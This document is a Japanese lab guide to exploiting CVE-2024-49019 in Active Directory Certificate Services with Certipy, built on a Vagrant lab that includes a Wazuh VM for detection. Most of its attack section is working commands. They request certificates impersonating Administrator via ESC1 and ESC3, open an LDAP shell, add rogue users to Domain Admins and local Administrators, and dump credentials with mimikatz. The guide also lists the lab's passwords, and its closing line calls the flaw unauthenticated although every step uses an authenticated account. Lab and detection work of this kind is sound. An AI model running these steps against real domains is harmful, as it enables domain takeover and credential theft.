
CVE-2024-49019 のエクスプロイト
CVE-2024-49019 は、Active Directory 証明書サービス (AD CS) の脆弱性であり、攻撃者が証明書ベースの認証を悪用して権限を昇格させることができます。このガイドでは、Certipy を使用してこの脆弱性を悪用する方法を示します。
| 仮想マシン | ユーザー名 | パスワード |
|---|---|---|
| Windows Server 2022 | Administrator | !@windowsadmintest101 |
| Windows Server 2022 | testuser | $Vulnerable139 |
| Kali-VM | vagrant | vagrant |
| Ubuntu-Wazuh | wazuh | admin |
Ubuntu-Wazuh VM は検知目的で使用されます。検知ガイド 緩和策
まず、必要なファイルを含むリポジトリをクローンします:
git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng
続行する前に、ホストマシンに Vagrant をインストールする必要があります。
Vagrant をここからダウンロードしてインストールするか、PowerShell を使用してインストールします:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
cd windows-server2022
vagrant up
cd kali-VM
vagrant up
cd WazuhUbuntu
vagrant up
このエクスプロイトには NAT ネットワークが必要なため、VirtualBox を次のように構成します:
以下のコマンドを実行する前に、VBoxManage が環境変数に追加されていることを確認してください。追加されていない場合は、フルパスでコマンドを実行してください:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage が認識されない場合は、次を使用します:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VirtualBox 内のすべての VM を確認し、ネットワークアダプター NatNetwork - NatNet1 に割り当てられていることを確認してください。NAT ネットワークは別の名前で作成することもできますが、IP 範囲 10.0.2.0/24 内である必要があります。
続行する前に、すべての VM が起動していることを確認してください。
攻撃を開始するために Kali Linux VM にアクセスし、/etc/hosts ファイルを更新します:
sudo nano /etc/hosts
次のエントリを追加します:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
保存して終了します。
CVE-49019 ディレクトリに移動し、Python 仮想環境を有効化します:
cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate
この脆弱性を悪用するには、ESC1 と ESC3 の 2 つの方法があります。
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
add_user badadmin
add_user_to_group badadmin "Domain Admins"
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121
certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121
certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121
回避策があります。ホストマシンの時刻が Windows Server 自体と同じであることを確認してください。 Kali-Linux VM を Windows-Server と同じ時刻に更新するために、次のコマンドを実行してください。
sudo timedatectl set-ntp off
sudo rdate -n 10.0.2.121
w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
管理者レベルのアクセスを取得すると、攻撃者は以下を行うことができます:
net user hacked /add
net localgroup "Administrators" hacked /add
sekurlsa::logonpasswords
検知および緩和戦略については、検知ガイド を参照してください。
CVE-2024-49019 は、認証されていない権限昇格を可能にするため、重大なセキュリティリスクをもたらします。この脆弱性を理解し、Wazuh などの適切な検知メカニズムを導入することは、Active Directory 環境のセキュリティ保護に不可欠です。
AD CS のセキュリティ保護の詳細については、Microsoft Security CVE-2024-49019 を参照してください。